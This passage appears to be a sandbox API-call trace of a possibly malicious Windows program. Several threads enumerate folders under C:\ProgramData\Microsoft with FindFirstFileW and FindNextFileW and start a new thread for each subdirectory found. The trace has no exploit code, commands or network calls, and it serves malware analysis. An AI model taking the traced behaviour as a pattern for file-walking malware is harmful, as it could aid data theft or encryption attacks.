lpThreadId=0x0) returned 0x938 [0090.531] FindNextFileW (in: hFindFile=0x1b858670, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 1 [0090.531] wcscmp (_String1="Pending.GRL", _String2=".") returned 1 [0090.531] wcscmp (_String1="Pending.GRL", _String2="..") returned 1 [0090.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1b858610 [0090.532] wcscpy (in: _Dest=0x1b858610, _Source="C:\\ProgramData\\Microsoft\\MF" | out: _Dest="C:\\ProgramData\\Microsoft\\MF") returned="C:\\ProgramData\\Microsoft\\MF" [0090.532] wcscat (in: _Dest=0x1b858610, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\") returned="C:\\ProgramData\\Microsoft\\MF\\" [0090.532] wcscat (in: _Dest=0x1b858610, _Source="Pending.GRL" | out: _Dest="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL") returned="C:\\ProgramData\\Microsoft\\MF\\Pending.GRL" [0090.532] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b858610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b0 [0090.533] FindNextFileW (in: hFindFile=0x1b858670, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 0 [0090.533] FindClose (in: hFindFile=0x1b858670 | out: hFindFile=0x1b858670) returned 1 [0090.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd62f00) returned 1 [0090.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0090.533] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 Thread: id = 186 os_tid = 0xc18 [0086.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8f0 [0086.501] wcscpy (in: _Dest=0x1b82c8f0, _Source="C:\\ProgramData\\Microsoft\\MSDN" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN") returned="C:\\ProgramData\\Microsoft\\MSDN" [0086.501] wcscat (in: _Dest=0x1b82c8f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN\\") returned="C:\\ProgramData\\Microsoft\\MSDN\\" [0086.501] wcscat (in: _Dest=0x1b82c8f0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN\\*") returned="C:\\ProgramData\\Microsoft\\MSDN\\*" [0086.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd63170 [0086.501] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MSDN\\*", lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86850 [0086.501] wcscmp (_String1=".", _String2=".") returned 0 [0086.501] FindNextFileW (in: hFindFile=0x1cd86850, lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.501] wcscmp (_String1="..", _String2=".") returned 1 [0086.502] wcscmp (_String1="..", _String2="..") returned 0 [0086.502] FindNextFileW (in: hFindFile=0x1cd86850, lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.0", cAlternateFileName="")) returned 1 [0086.502] wcscmp (_String1="8.0", _String2=".") returned 1 [0086.525] wcscmp (_String1="8.0", _String2="..") returned 1 [0086.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x17a750 [0086.525] wcscpy (in: _Dest=0x17a750, _Source="C:\\ProgramData\\Microsoft\\MSDN" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN") returned="C:\\ProgramData\\Microsoft\\MSDN" [0086.525] wcscat (in: _Dest=0x17a750, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN\\") returned="C:\\ProgramData\\Microsoft\\MSDN\\" [0086.525] wcscat (in: _Dest=0x17a750, _Source="8.0" | out: _Dest="C:\\ProgramData\\Microsoft\\MSDN\\8.0") returned="C:\\ProgramData\\Microsoft\\MSDN\\8.0" [0090.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x17a750, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d4 [0090.737] FindNextFileW (in: hFindFile=0x1cd86850, lpFindFileData=0x1cd63170 | out: lpFindFileData=0x1cd63170*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.0", cAlternateFileName="")) returned 0 [0090.737] FindClose (in: hFindFile=0x1cd86850 | out: hFindFile=0x1cd86850) returned 1 [0090.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd63170) returned 1 [0090.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8f0) returned 1 [0090.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc70) returned 1 Thread: id = 187 os_tid = 0xc1c [0086.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1cd868b0 [0086.527] wcscpy (in: _Dest=0x1cd868b0, _Source="C:\\ProgramData\\Microsoft\\NetFramework" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework") returned="C:\\ProgramData\\Microsoft\\NetFramework" [0086.527] wcscat (in: _Dest=0x1cd868b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\") returned="C:\\ProgramData\\Microsoft\\NetFramework\\" [0086.527] wcscat (in: _Dest=0x1cd868b0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\*") returned="C:\\ProgramData\\Microsoft\\NetFramework\\*" [0086.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd633e0 [0086.527] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\*", lpFindFileData=0x1cd633e0 | out: lpFindFileData=0x1cd633e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86910 [0086.528] wcscmp (_String1=".", _String2=".") returned 0 [0086.528] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1cd633e0 | out: lpFindFileData=0x1cd633e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.528] wcscmp (_String1="..", _String2=".") returned 1 [0086.528] wcscmp (_String1="..", _String2="..") returned 0 [0086.528] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1cd633e0 | out: lpFindFileData=0x1cd633e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 1 [0086.528] wcscmp (_String1="BreadcrumbStore", _String2=".") returned 1 [0086.528] wcscmp (_String1="BreadcrumbStore", _String2="..") returned 1 [0086.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b85e590 [0086.528] wcscpy (in: _Dest=0x1b85e590, _Source="C:\\ProgramData\\Microsoft\\NetFramework" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework") returned="C:\\ProgramData\\Microsoft\\NetFramework" [0086.529] wcscat (in: _Dest=0x1b85e590, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\") returned="C:\\ProgramData\\Microsoft\\NetFramework\\" [0086.529] wcscat (in: _Dest=0x1b85e590, _Source="BreadcrumbStore" | out: _Dest="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore") returned="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore" [0090.534] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85e590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x93c [0090.535] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1cd633e0 | out: lpFindFileData=0x1cd633e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x56ac2f60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x56ac2f60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 0 [0090.535] FindClose (in: hFindFile=0x1cd86910 | out: hFindFile=0x1cd86910) returned 1 [0090.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd633e0) returned 1 [0090.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd868b0) returned 1 [0090.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8586d0) returned 1 Thread: id = 188 os_tid = 0xc20 [0086.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1cd970d0 [0086.534] wcscpy (in: _Dest=0x1cd970d0, _Source="C:\\ProgramData\\Microsoft\\Network" | out: _Dest="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network" [0086.534] wcscat (in: _Dest=0x1cd970d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\") returned="C:\\ProgramData\\Microsoft\\Network\\" [0086.534] wcscat (in: _Dest=0x1cd970d0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\*") returned="C:\\ProgramData\\Microsoft\\Network\\*" [0086.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd63650 [0086.534] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\*", lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86970 [0086.534] wcscmp (_String1=".", _String2=".") returned 0 [0086.534] FindNextFileW (in: hFindFile=0x1cd86970, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.534] wcscmp (_String1="..", _String2=".") returned 1 [0086.534] wcscmp (_String1="..", _String2="..") returned 0 [0086.534] FindNextFileW (in: hFindFile=0x1cd86970, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xa68726b4, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0086.535] wcscmp (_String1="Connections", _String2=".") returned 1 [0086.535] wcscmp (_String1="Connections", _String2="..") returned 1 [0086.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86e3a0 [0086.535] wcscpy (in: _Dest=0x1b86e3a0, _Source="C:\\ProgramData\\Microsoft\\Network" | out: _Dest="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network" [0086.535] wcscat (in: _Dest=0x1b86e3a0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\") returned="C:\\ProgramData\\Microsoft\\Network\\" [0086.535] wcscat (in: _Dest=0x1b86e3a0, _Source="Connections" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Connections") returned="C:\\ProgramData\\Microsoft\\Network\\Connections" [0090.536] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86e3a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x944 [0090.537] FindNextFileW (in: hFindFile=0x1cd86970, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1 [0090.537] wcscmp (_String1="Downloader", _String2=".") returned 1 [0090.537] wcscmp (_String1="Downloader", _String2="..") returned 1 [0090.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1b8586d0 [0090.537] wcscpy (in: _Dest=0x1b8586d0, _Source="C:\\ProgramData\\Microsoft\\Network" | out: _Dest="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network" [0090.537] wcscat (in: _Dest=0x1b8586d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\") returned="C:\\ProgramData\\Microsoft\\Network\\" [0090.537] wcscat (in: _Dest=0x1b8586d0, _Source="Downloader" | out: _Dest="C:\\ProgramData\\Microsoft\\Network\\Downloader") returned="C:\\ProgramData\\Microsoft\\Network\\Downloader" [0090.537] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8586d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ac [0090.538] FindNextFileW (in: hFindFile=0x1cd86970, lpFindFileData=0x1cd63650 | out: lpFindFileData=0x1cd63650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7606ea15, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 0 [0090.538] FindClose (in: hFindFile=0x1cd86970 | out: hFindFile=0x1cd86970) returned 1 [0090.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd63650) returned 1 [0090.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0090.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 Thread: id = 189 os_tid = 0xc24 [0086.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1cd97120 [0086.536] wcscpy (in: _Dest=0x1cd97120, _Source="C:\\ProgramData\\Microsoft\\OFFICE" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE") returned="C:\\ProgramData\\Microsoft\\OFFICE" [0086.536] wcscat (in: _Dest=0x1cd97120, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\" [0086.536] wcscat (in: _Dest=0x1cd97120, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\*") returned="C:\\ProgramData\\Microsoft\\OFFICE\\*" [0086.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd638c0 [0086.536] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\*", lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd869d0 [0086.539] wcscmp (_String1=".", _String2=".") returned 0 [0086.539] FindNextFileW (in: hFindFile=0x1cd869d0, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.539] wcscmp (_String1="..", _String2=".") returned 1 [0086.539] wcscmp (_String1="..", _String2="..") returned 0 [0086.539] FindNextFileW (in: hFindFile=0x1cd869d0, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5011dd00, ftCreationTime.dwHighDateTime=0x1ca04ff, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5011dd00, ftLastWriteTime.dwHighDateTime=0x1ca04ff, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetLibrary.ico", cAlternateFileName="ASSETL~1.ICO")) returned 1 [0086.539] wcscmp (_String1="AssetLibrary.ico", _String2=".") returned 1 [0086.539] wcscmp (_String1="AssetLibrary.ico", _String2="..") returned 1 [0086.539] FindNextFileW (in: hFindFile=0x1cd869d0, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabeeea00, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xabeeea00, ftLastWriteTime.dwHighDateTime=0x1c63848, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentRepository.ico", cAlternateFileName="DOCUME~1.ICO")) returned 1 [0086.539] wcscmp (_String1="DocumentRepository.ico", _String2=".") returned 1 [0086.539] wcscmp (_String1="DocumentRepository.ico", _String2="..") returned 1 [0086.539] FindNextFileW (in: hFindFile=0x1cd869d0, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfbd800, ftCreationTime.dwHighDateTime=0x1c9facb, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bfbd800, ftLastWriteTime.dwHighDateTime=0x1c9facb, nFileSizeHigh=0x0, nFileSizeLow=0x5532e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySharePoints.ico", cAlternateFileName="MYSHAR~1.ICO")) returned 1 [0086.540] wcscmp (_String1="MySharePoints.ico", _String2=".") returned 1 [0086.540] wcscmp (_String1="MySharePoints.ico", _String2="..") returned 1 [0086.540] FindNextFileW (in: hFindFile=0x1cd869d0, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc92d1d00, ftCreationTime.dwHighDateTime=0x1c627a2, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc92d1d00, ftLastWriteTime.dwHighDateTime=0x1c627a2, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySite.ico", cAlternateFileName="")) returned 1 [0086.540] wcscmp (_String1="MySite.ico", _String2=".") returned 1 [0086.540] wcscmp (_String1="MySite.ico", _String2="..") returned 1 [0086.540] FindNextFileW (in: hFindFile=0x1cd869d0, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2444900, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2444900, ftLastWriteTime.dwHighDateTime=0x1c63848, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointPortalSite.ico", cAlternateFileName="SHAREP~1.ICO")) returned 1 [0086.540] wcscmp (_String1="SharePointPortalSite.ico", _String2=".") returned 1 [0086.540] wcscmp (_String1="SharePointPortalSite.ico", _String2="..") returned 1 [0086.540] FindNextFileW (in: hFindFile=0x1cd869d0, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad743900, ftCreationTime.dwHighDateTime=0x1c62706, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad743900, ftLastWriteTime.dwHighDateTime=0x1c62706, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointTeamSite.ico", cAlternateFileName="SHAREP~2.ICO")) returned 1 [0086.540] wcscmp (_String1="SharePointTeamSite.ico", _String2=".") returned 1 [0086.540] wcscmp (_String1="SharePointTeamSite.ico", _String2="..") returned 1 [0086.540] FindNextFileW (in: hFindFile=0x1cd869d0, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UICaptions", cAlternateFileName="UICAPT~1")) returned 1 [0086.540] wcscmp (_String1="UICaptions", _String2=".") returned 1 [0086.540] wcscmp (_String1="UICaptions", _String2="..") returned 1 [0086.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1cd86a30 [0086.540] wcscpy (in: _Dest=0x1cd86a30, _Source="C:\\ProgramData\\Microsoft\\OFFICE" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE") returned="C:\\ProgramData\\Microsoft\\OFFICE" [0086.540] wcscat (in: _Dest=0x1cd86a30, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\") returned="C:\\ProgramData\\Microsoft\\OFFICE\\" [0086.540] wcscat (in: _Dest=0x1cd86a30, _Source="UICaptions" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions" [0090.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd86a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x940 [0090.739] FindNextFileW (in: hFindFile=0x1cd869d0, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UICaptions", cAlternateFileName="UICAPT~1")) returned 0 [0090.739] FindClose (in: hFindFile=0x1cd869d0 | out: hFindFile=0x1cd869d0) returned 1 [0090.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd638c0) returned 1 [0090.740] RtlFreeHeap (HeapHandle=0xa0000, 